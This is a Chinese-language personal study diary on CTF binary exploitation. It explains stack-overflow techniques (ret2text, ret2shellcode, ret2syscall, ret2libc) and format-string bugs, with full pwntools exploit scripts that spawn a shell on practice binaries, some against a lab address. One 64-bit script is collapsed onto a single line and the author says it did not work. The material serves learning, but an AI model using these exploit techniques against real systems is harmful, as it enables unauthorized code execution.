【pwn】學pwn日記——棧學習(持續更新)
前言
從8.2開始系統性學習pwn,在此之前,學習了部分匯編指令以及32位c語言程序的堆棧圖及函數調用。
學習視頻鏈接:XMCVE 2020 CTF Pwn入門課程、【星盟安全】PWN系列教程(持續更新)
學習文章鏈接: CTF Wiki
文章內題目連接(帶exp.py):pwn題目
elf文件
未初始化的全局變量glb,編譯出來在內存中bss中
初始化的全局變量str(沒有被修改過),編譯出來在內存中data
而hello world在text段中
main和sum函數都在text段中,以機器碼形式存放
局部變量t和prt放入棧中
malloc出來的空間放在heap中
32位棧結構
編譯保護
ASLR:棧地址隨機化(必定打開)
NX:棧保護
Canary:防止緩沖區溢出
PIE:地址無關代碼,隨即bss、data、text
ret2text
這種題型適用於文件中藏了后門函數的,直接通過棧溢出ret到這個后門函數就可以拿到權限了。
exp如下
from pwn import *
io = process("./ret2text")
success_add = 0x0804863A
payload = b"bi0x"+b"a"*(0x6c) + p32(success_add)
io.sendline(payload)
io.interactive()
拖入ida看到system("/bin/sh")函數的執行地址為0x0804863A
下面就是計算偏移量
如何計算出偏移量為0x6c呢,使用pwndbg動態調試,0xffffd038-0xffffcfcc=0x6C,再用4個字節的垃圾數據填充pre ebp addr的地址
ret2shellcode
因為現在絕大部分的pwn都開啟了alsr(地址隨機化),所以我們往往無法向棧中寫入shellcode
現在有兩種方法解決問題
-
如果緩沖區設置在.bss區域中,也就是可以更改全局變量,且NX關閉,bss具有寫的能力,我們將shellcode寫入這個全局變量中,shellcode就可以執行
-
使用nop滑梯,即使aslr隨機更改地址,我們設置一個指向中間的返回地址,也有一定概率執行shellcode
這里使用第一種方法
使用pwntools自帶的shellcode工具shellcraft編寫一個shellcode
偏移量的測量和上面兩題一樣
from pwn import *
io = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
success_add = p32(0x0804A080)
payload = shellcode.ljust(0x6c+0x4,b"b") + success_add
io.sendline(payload)
io.interactive()
ret2syscall
rop的構造
分別給寄存器賦值就行了
然后這里需要使用ROPgadget工具來查看,找到我們需要的構建rop鏈可以使用的寄存器
from pwn import *
io = process("./ret2syscall")
# io = remote("192.168.50.201",38045)
elf = ELF("./ret2syscall")
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = next(elf.search(b"/bin/sh"))
ebx = bin_sh
ecx = 0x0
edx = 0x0
eax = 0xb
int_0x80 = 0x08049421
payload = b'a'*112 + p32(pop_eax_ret) + p32(eax) + p32(pop_edx_ecx_ebx_ret) + p32(edx) + p32(ecx) + p32(ebx) + p32(int_0x80)
io.sendline(payload)
io.interactive()
ret2libc
動態鏈接和靜態鏈接
動態鏈接生成的elf文件很小,和源代碼大小差不多
靜態鏈接生成的elf文件很大,是源代碼的幾倍,涉及到的函數越多,就越大
動態鏈接需要.so裝載器,其中裝載了libc-2.xx.so等文件
動態鏈接相關結構
link_map:保存進程載入的動態鏈接庫的鏈表(因為可能不僅僅載入一個libc.so文件)
.dynamic節:提供動態鏈接的相關信息
.got:全局偏移量表
plt:解析函數的真實地址
.got.plt:保存函數地址
動態鏈接過程
第一次調用,foo去got.plt中詢問foo真實地址,但是got.plt也不知道,讓foo回去自己找這個地址,於是foo開始解析,解析后調用,將foo真實地址給got.plt,通過got.plt到foo真實地址
第二次調用,plt到got.plt,got.plt直接隨着地址到了真實的foo函數地址
所以雖然我們不知道text段的system,但是我們只需要將system的plt地址知道,就可以到system的真實地址,調用真正功能
然后看ret2libc1,從這兩張圖知道,為什么填充完了局部變量緩沖區和ebp,再填充system函數之后需要加上4個字節的exit函數(這里的exit函數相當於一個返回地址),因為system函數地址+8字節才是system函數的參數,可以參考32位程序的堆棧圖
所以這段棧溢出造成的攻擊就是執行了兩行代碼:
- system("/bin/sh")
- exit(0)
32位程序的堆棧圖
ret2libc1
在了解了上面的動態鏈接的過程,我們可以開始解題了
首先是最簡單的ret2libc1
先給出exp:
from pwn import *
io = process("./ret2libc1")
elf = ELF("./ret2libc1")
bin_sh =next(elf.search(b"/bin/sh"))
sys = elf.plt["system"]
payload = flat([b'b'*112, sys, b'bi0x', bin_sh])
io.sendline(payload)
io.interactive()
libc1中,有system.plt,也有“/bin/sh”這個字符串的數據,所以我們只需要構造一個rop鏈就可以得到
自己畫了一個張圖,左邊是原狀態,右邊是我們需要寫的狀態
填充的垃圾就是向gets函數中進行溢出112字節
為啥是112字節,我們用pwndbg調試一下
可以看到我們在gets的時候輸入了8個A。這個數值被存入了eax中,而eax的地址是0xffffcfcc,與ebp(0xffffd038)的距離是108,在加上覆蓋掉pre ebp addr的4字節,一共是112字節需要我們填充垃圾數據
在了解了這些信息之后,就可以寫exp了
那么這里也是成功在本地運行
ret2libc2
libc2和libc1的區別就是,沒有rodata節的"/bin/sh",所以需要我們自己構建一個
libc2中的bss段有一個buf2的全局變量,我們用這個buf2來當作緩沖區
第一種思路:
右邊的圖相當於
gets(&buf2)
system(buf2)
我們只需要在交互的時候給buf2賦值/bin/sh就可以拿到shell權限
from pwn import *
io = process("./ret2libc2")
elf = ELF("./ret2libc2")
system_plt = elf.plt["system"]
gets_plt = elf.plt["gets"]
bin_sh = elf.symbols["buf2"]
payload = b"a"*112 + p32(gets_plt) + p32(system_plt) + p32(bin_sh) + p32(bin_sh)
io.sendline(payload)
io.interactive()
運行exp,拿到shell
第二種思路
這種思路是更常見的思路,也就是需要pop出垃圾數據,然后再接着運行,和第一種也就是有無pop的區別
from pwn import *
io = process("./ret2libc2")
elf = ELF("./ret2libc2")
system_plt = elf.plt["system"]
gets_plt = elf.plt["gets"]
buf2 = elf.symbols["buf2"]
pop_ebx_ret = 0x0804843d
payload = b"a"*112 + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf2) + p32(system_plt) + p32(pop_ebx_ret) + p32(buf2)
io.sendline(payload)
io.interactive()
一樣可以拿到shell
ret2libc3
這一題是這類題型中最難的,因為相比前面兩個,libc3沒有system,也沒有bin/sh,要通過真實地址找到偏移和libc的基地址
先貼倆exp,最近學的太快了,等復習的時候再來細講一下
通過LibcSearcher來搜索遠程對應libc版本
from pwn import *
from LibcSearcher import *
io = process("./ret2libc3")
# io = remote("192.168.50.201", 38023)
elf = ELF("./ret2libc3")
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
start = elf.symbols["_start"]
payload = b"a"*112 + p32(puts_plt) + p32(start) + p32(puts_got)
io.recv()
io.sendline(payload)
puts_addr = u32(io.recv()[0:4])
obj = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - obj.dump("puts")
system_addr = libc_base + obj.dump("system")
binsh_addr = libc_base + obj.dump("str_bin_sh")
payload = b"a"*112 + p32(system_addr) + b"bi0x" + p32(binsh_addr)
io.sendline(payload)
io.interactive()
先puts出__libc_start_main函數的真實地址最后6個字節,再通過在線網站查看libc版本:libc database search
from pwn import *
# io = process("./ret2libc3")
io = remote("192.168.50.201", 38023)
elf = ELF("./ret2libc3")
puts_plt = elf.plt["puts"]
libc_got = elf.got["__libc_start_main"]
start = elf.symbols["_start"]
payload = b'a'*112 + p32(puts_plt) + p32(start) + p32(libc_got)
io.recv()
io.sendline(payload)
libc_addr = u32(io.recv()[0:4])
libc_offset = 0x018d90
libc_base_addr = libc_addr - libc_offset
system_offset = 0x03cd10
system_addr = libc_base_addr + system_offset
binsh_offset = 0x17b8cf
binsh_addr = libc_base_addr + binsh_offset
payload = b"a"*112 + p32(system_addr) + b'bi0x' + p32(binsh_addr)
io.sendline(payload)
io.interactive()
上面的exp是32位的libc3,如果是64位的libc3,那么不是僅僅是棧中存參數,前6個參數由寄存器存放,所以需要調用ROP鏈
64位的libc3
這題是練習題中的pwn3x64,大家可以自行下載做做(我也不懂為啥我本地沒穿)
from pwn import *context.log_level = "debug"io = process("./level3_x64")io.recvuntil(b"Input:\n")elf = ELF("./level3_x64")libc = ELF("/lib/i386-linux-gnu/libc.so.6")write_got = elf.got["write"]write_plt = elf.plt["write"]start_addr = elf.symbols["vulnerable_function"]pop_rdi_ret = 0x00000000004006b3pop_rsi_pop_r15_ret = 0x00000000004006b1ret = 0x0000000000400619# 64位程序前6個參數依次存放於rdi、rsi、rdx、rcx、r8、r9寄存器中,第七個以后的參數存放於棧中payload = b"b"*0x80 + b"bi0xbi0x" + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_pop_r15_ret) + p64(write_got) + b"bi0xbi0x" + p64(write_plt) + p64(start_addr)io.sendline(payload)write_true_addr = u64(io.recv(8)[0:8])io.recv()libc_base = write_true_addr - libc.symbols["write"]system_true_addr = libc_base + libc.symbols["system"]binsh_true_addr = libc_base + next(libc.search(b"/bin/sh"))payload = b"b"*0x80 + b"bi0xbi0x" + p64(pop_rdi_ret) + p64(binsh_true_addr) + p64(system_true_addr) + b"retaddr"io.sendline(payload)io.interactive()
32位棧和64位棧的區別
32位棧的視圖如下:
如下是32位傳參和64位傳參的區別
針對ret2text的32和64的區別
64位
32位
格式化字符串
%x輸出棧上的16進制
%p輸出棧上地址(可以是4字節也可以是8字節)
%s輸出棧上地址對應的字符串
%n篡改棧地址對應的數據(累積%n之前的字節,多少字節就賦值多少)
舉個例子,如果一個字符串是hello world,那么printf("%p",str)是輸出存放這個字符串的地址,而%s就是先解析地址然后將地址內存儲的字符串打印出來
c語言的字符串使用\x00來當作字符串的結尾,如果我們篡改這個\x00或者將這個\x00刪去,那么這個字符串就不會被計算機認為是結束了的
我們是用$來控制輸出第幾個字符
%n是四個字節
%hn就是half n,也就是兩個字節
%hhn就是half half n,也就是一個字節
%n篡改
%s泄漏
對於格式化字符串的漏洞的利用主要有:崩潰程序、棧數據讀取、任意內存地址泄露、棧數據覆蓋、任意地址內存覆蓋
1.崩潰程序
格式化字符串漏洞通常要在程序崩潰時候才會被發現,這也是最簡單的利用方式
再linux中,存取無效的指針會使進程受到SIGSEGV信號,從而使程序非正常終止並產生核心轉儲,其中存儲了程序崩潰時的許多重要的信息,而這些信息這正是攻擊者需要的
使用很多個%s就有可能發生程序崩潰
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s");
崩潰有以下原因:
- printf需要將格式化字符串中的每一個%s解析,從棧中讀取一個數字,將其視為一個存儲了字符串的地址,然后答打印出該地址中的存儲的字符串,直到出現一個空字符
- 如果獲取的某個數組不是一個地址就會崩潰
- 如果獲取的數字確實是一個地址,但是這個地址是我們不可操作(受保護的),程序就會崩潰
2.棧數據泄露
使程序崩潰只是驗證漏洞的第一步,攻擊者還可以用格式化函數獲取內存中的數據。
我們知道格式化字符串是從棧中獲取值,而且我們知道32位程序下,棧中的數據是從高地址指向低地址,同時printf的參數是以逆序被壓入棧中的(所有函數參數都是如此),所以參數在內存中出現的順序與在printf調用的順序是一致的
在32位程序中,我們存放的函數參數都是放在棧上的,所以我們可以遇到這種情況
如果我們這樣printf("%p%p%p%p")
會打印出0x00000001,0x88888888,0xffffffff,0xffffcd4a
這樣其實就是將棧上距離格式化字符串低地址位的參數全部打印出來了,這樣我們就得到了存放在棧上的數據
3.任意地址內存泄漏
當攻擊者使用“%s”,就可以得到地址指向的字符串內容,程序會將其當作ASCII字符串處理,直到遇到\x00結束。
所以,如果攻擊者可以操縱這個參數的值,那么就可以泄露任意地址的內容
還是上面的棧圖,如果我們輸入%4$s,此時輸出的arg4就變成了字符串“ABCD“,而不是地址0xffffcd4a
我們進行任意內存地址泄露,第一步就是需要計算偏移量。
我們手動將地址寫入棧中
printf("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p");
我們使用pwndbg調試,得到棧中存放0x41414141的數據的地址,這就是我們真實存放格式化字符串的地址。我們需要計算這個地址與我們開始時的距離,這就是偏移量。
假設我們這里0x41414141是第13個打印的字符,那么我們使用%13$s就可以讀出0x41414141地址上的內容。
當然,如果這個地址是一個非法地址(受保護的地址),我們就無法訪問。
如何讀取我們想要的地址上的數據呢?比如0xffffcd4a地址上的數據?
printf("\x4a\xcd\xff\xff"+".%13$s");
那么這樣我們就可以讀取0xffffcd4a地址上的數據,按照上面的棧圖,這個數據就是ABCD
在漏洞利用中,我們可以利用這種方法,把某個函數的GOT表地址傳入,從而獲得對應函數的虛擬地址。然后根據函數在libc中的相對位置,就可以計算出任意函數的地址。比如我們最想要的system()
4.棧數據覆蓋
我們使用"%n"來將當前已經成功寫入流或者緩沖區中的字符個數存儲到參數指定的位置
舉個例子來說明%n的作用
#include<stdio.h>int main() { int i; char str[] = "hello"; printf("%s %n\n", str, &i); printf("%d\n", i); return 0;}--hello6
為什么i的值被賦值為了6呢,因為hello還有一個空格有6個字節,%n將這前面的6字節存入i中,所以i = 6
如果我們要向棧中存入一個內存地址為0x8048000呢?
printf("%0134512640d%n\n", 1, &i);
這樣就給i賦值為0x8048000了
回到上面的棧圖中,如果我們想要將arg2的值改為0x20呢(arg2的內存地址位0xffffcd28)
printf("\x28\xcd\xff\xff%08x%08x%012d%13$n");
假設我們寫入的參數在棧中第13個,所以我們就向地址0xffffcd28,寫入了0x20(4+16+12)
所以這就將arg2的值改為了0x20了
我們對比printf執行前后的棧,發現首先解析"%13$n",正好這第13個參數是我們寫入的0xffffcd28,然后將這個地址存儲的值改寫為0x00000020
5.任意地址內存覆蓋
有沒有發現一個問題?就是在上面,我們是通過寫入需要改變變量的內存地址來改變這個變量的值的,可是內存地址在32位程序中最小也是4字節,那么我們可以將需要改變的變量的值賦值為4以下的數據嗎?
答案是可以的
printf("AA%15$nA" + "\x28\xcd\xff\xff")
這里我們就將內存地址為0xffffcd28的變量的值賦值為了2,為啥這里是%15$呢,因為AA%15$nA這里是8字節,占了兩個內存地址(8字節),於是0xffffcd28就向高地址走了2個內存單位,從13變為了15
然后我們還可以通過
%hhn寫入1字節
%hn寫入2字節
%n寫入4字節
%ln寫入8字節
%lln寫入16字節
從而達到任意地址內存覆蓋
6.64位中的格式化字符串漏洞
之前我們在32位棧和64位棧的區別中也將了,linux下64位,前6個參數分別通過RDI、RSI、RDX、RCX、R8、R9進行傳遞
而在windows下,前4個參數通過RCX、RDX、R8、R9來傳遞
64位中,我們不能修改寄存器中的值,只能更改第7個參數以后的值,因為前6個參數都存放在寄存器中
pwntools提供的fmtstr模塊
pwntools中的pwnlib.fmtstr模塊提供了一些字符串漏洞利用的攻擊
該模塊中定義了一個類FmtStr和一個函數fmtstr_payload
FmtStr(execute_fmt, offset=None, padlen=0, numbwriteen=0)
- execute_fmt:與漏洞進程進行交互的函數
- offset:你控制的第一個格式化程序的偏移量
- padlen:在payload之前添加的pad的大小
- numbwritten:已經寫入的字節數
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
- offset:你控制的第一個格式化程序的偏移量
- writes:格式為{addr:value,addr2:value2},用於往addr里寫入value的值(常用:{printf_got})
- numbwritten:已經由printf函數寫入的字節數,默認為0
- write_size:必須是byte、short或int。指定要逐byte寫,逐short寫還是int寫(hhn、hn或者n)